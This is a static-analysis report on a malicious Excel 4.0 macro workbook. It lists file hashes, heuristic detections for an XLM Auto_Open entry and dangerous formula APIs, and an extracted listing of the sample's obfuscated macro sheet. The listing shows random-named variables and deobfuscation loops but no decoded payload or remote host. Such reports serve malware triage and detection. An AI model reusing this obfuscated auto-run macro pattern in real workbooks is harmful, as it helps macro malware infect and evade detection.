Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbd7696442a2b68e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:55 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 6163091cdc13ca551395880c434c2479 SHA-1: 41344795654f39795bcc787c3b4b882e61ec940f SHA-256: fbd7696442a2b68ebea7a8f22964f5719e0c2f2390bf48dd40335d338a24bd7f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6597 bytes
SHA-256: 8e4a36f7642f7e4c855c982d372b9cd62fcc0b6e4eb16bcb8917e57d32be6211
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EQwAe
' 0018     20 LABEL : Cell Value, String Constant - aSjlD len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F144 
' 0018     27 LABEL : Cell Value, String Constant - bFvBVeSSXNVk len=0 
' 0018     24 LABEL : Cell Value, String Constant - ENGvAPPvZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - erYSvi len=0 
' 0018     21 LABEL : Cell Value, String Constant - FtenwQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - gvhaPVKQWr len=0 
' 0018     25 LABEL : Cell Value, String Constant - GWBOPQHbHA len=0 
' 0018     21 LABEL : Cell Value, String Constant - HqpzCa len=0 
' 0018     25 LABEL : Cell Value, String Constant - jKTvbeMydE len=0 
' 0018     25 LABEL : Cell Value, String Constant - KxETKPyaqp len=0 
' 0018     24 LABEL : Cell Value, String Constant - liOzZJhfL len=0 
' 0018     23 LABEL : Cell Value, String Constant - LshruVyO len=0 
' 0018     20 LABEL : Cell Value, String Constant - maJRo len=0 
' 0018     25 LABEL : Cell Value, String Constant - mZlJPAHccF len=0 
' 0018     20 LABEL : Cell Value, String Constant - syuPh len=0 
' 0018     22 LABEL : Cell Value, String Constant - tQGpGeD len=0 
' 0018     25 LABEL : Cell Value, String Constant - TRpYkEbrVp len=0 
' 0018     24 LABEL : Cell Value, String Constant - UqlyyQfqE len=0 
' 0018     22 LABEL : Cell Value, String Constant - vquHXlj len=0 
' 0018     21 LABEL : Cell Value, String Constant - YLZPHm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EQwAe,Q44,"",-996.00000000000000000000
'  EQwAe,Q45,"",968.00000000000000000000
'  EQwAe,Q46,"",117.00000000000000000000
'  EQwAe,Q47,"",523.00000000000000000000
'  EQwAe,Q48,"",-277.00000000000000000000
'  EQwAe,Q49,"",-564.00000000000000000000
'  EQwAe,F57,"SET.NAME("TRpYkEbrVp",0+VALUE("0"))",""
'  EQwAe,F59,"SET.NAME("KxETKPyaqp",TRpYkEbrVp)",""
'  EQwAe,F64,"SET.NAME("gvhaPVKQWr",TRpYkEbrVp)",""
'  EQwAe,F68,"SET.NAME("tQGpGeD",COUNTA(aSjlD))",""
'  EQwAe,F70,"SET.NAME("jKTvbeMydE",COUNTA(LshruVyO))",""
'  EQwAe,F73,[],""
'  EQwAe,F78,"SET.NAME("syuPh","")",""
'  EQwAe,F81,"KxETKPyaqp",""
'  EQwAe,F84,"SET.NAME("FtenwQ",HLOOKUP("*",aSjlD,KxETKPyaqp,FALSE))",""
'  EQwAe,F86,"GWBOPQHbHA",""
'  EQwAe,F89,"SET.NAME("vquHXlj",TRpYkEbrVp)",""
'  EQwAe,F92,[],""
'  EQwAe,F94,"vquHXlj",""
'  EQwAe,F97,"mZlJPAHccF",""
'  EQwAe,F100,"bFvBVeSSXNVk",""
'  EQwAe,F104,"YLZPHm",""
'  EQwAe,F108,"SET.NAME("maJRo",VALUE(HLOOKUP("*",LshruVyO,YLZPHm,FALSE)))",""
'  EQwAe,F111,"HqpzCa",""
'  EQwAe,F116,"syuPh",""
'  EQwAe,F118,"gvhaPVKQWr",""
'  EQwAe,F123,NEXT(),""
'  EQwAe,F126,"liOzZJhfL",""
'  EQwAe,F128,[],""
'  EQwAe,F133,"erYSvi",""
'  EQwAe,F135,NEXT(),""
'  EQwAe,F140,RETURN(),""
'  EQwAe,F171,"SET.NAME("ENGvAPPvZ",F57)",""
'  EQwAe,F173,"aSjlD",""
'  EQwAe,F175,"SET.NAME("LshruVyO",R41C12)",""
'  EQwAe,F177,"SET.NAME("erYSvi",184)",""
'  EQwAe,F181,"SET.NAME("UqlyyQfqE",6)",""
'  EQwAe,F183,ENGvAPPvZ(),""
'  EQwAe,F184,HALT(),""

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